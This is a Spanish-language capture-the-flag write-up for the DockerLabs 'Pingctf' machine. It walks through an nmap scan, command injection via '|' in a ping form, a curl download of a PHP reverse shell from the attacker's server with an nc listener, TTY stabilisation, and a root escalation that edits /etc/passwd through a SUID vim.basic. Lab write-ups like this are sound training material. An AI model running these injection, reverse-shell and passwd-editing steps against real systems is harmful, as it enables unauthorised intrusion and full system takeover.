Post

Pingctf, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
revshell pentestmonkey
vim.basic gtfobins

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX pkgpoison 172.18.0.2

reporte

Como vemos en el reporte en esta ocasion solo disponemos del puerto 80 http asi que investigamos la web.

Vemos que nos permite en principio ejecutar ping pese a que a mi no me lo hice consegui inyeccion de comandos con |. Trate de enviarme una revshell pero parece que htmlchars no deja pasar cierto simbolos ni codificando en unicode.

Lo que hice fue comprobar si disponia de curl y me subi una revshell con la cual obtener una terminal en mi maquina.

rce

Lo primero descragar la revshell, una vez descargada editamos el fichero indicando la ip y puerto de la maquiana atacante , luego nos levantamos un server en python o lo que quieran para poder trasnferirla, una vez en la victima podemos ponernos en escucha y lanzar la webshell.

1
2
3
python -m http.server 8080 # maquina atac
curl http://atacante:puerto/nombredefichero.php -o webshell.php  # maquina victima
nc -lnvp 8899

comando

python

ls

recibida

Lo siguienet es realizar el tratamiento de la tty para evitar errores y que podamos usuar las teclas , limpiar etc …

1
2
3
4
5
6
7
8
script /dev/null -c bash 
   control Z con esto la pasamos a segundo plano
  stty raw -echo ; fg
  reset
    en otra terminal lanzamos stty size para saber el numero de filas y columnas de nuestra terminal
  export TERM=xterm
  export SHELL=bash
  stty rows 32 columns 149

Ahora con la term mejorada en la medida de lo posible empezamos a ver que podemos hacer , no hay sudo y aparentemente solo esta el user root y ubuntu , no obstante hay suerte con find suid.

1
find / -user root -perm /4000 2>/dev/nul

suid

Nos han dejado vim.basic para realizar la escalda , cosa que ha vuelto loco por los errores que me daba cuando trataba de ejcutar un shell desde dentro de vim , asi que lo que hice es ir a lo facil , simplemente modifque el /etc/passwd eliminado la x y despues su root.

Para ello ejecutamos :

1
2
3
4
/usr/bin/vim.basic # dejamos que se muestren errores y esperamo para llegar a su prompt en el cual escribimos
:e /etc/passwd  # una vez editado lo guardamos pero realizando el proceso de forzado 
:wq! # coneso deberia quedar modifcado el fichero y listoi para el ultimo paso
su root

escrito

root

Me volvio loco vim.basic

Muchas gracias por leerme, espero que te haya gustado y que te sirva de ayuda.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.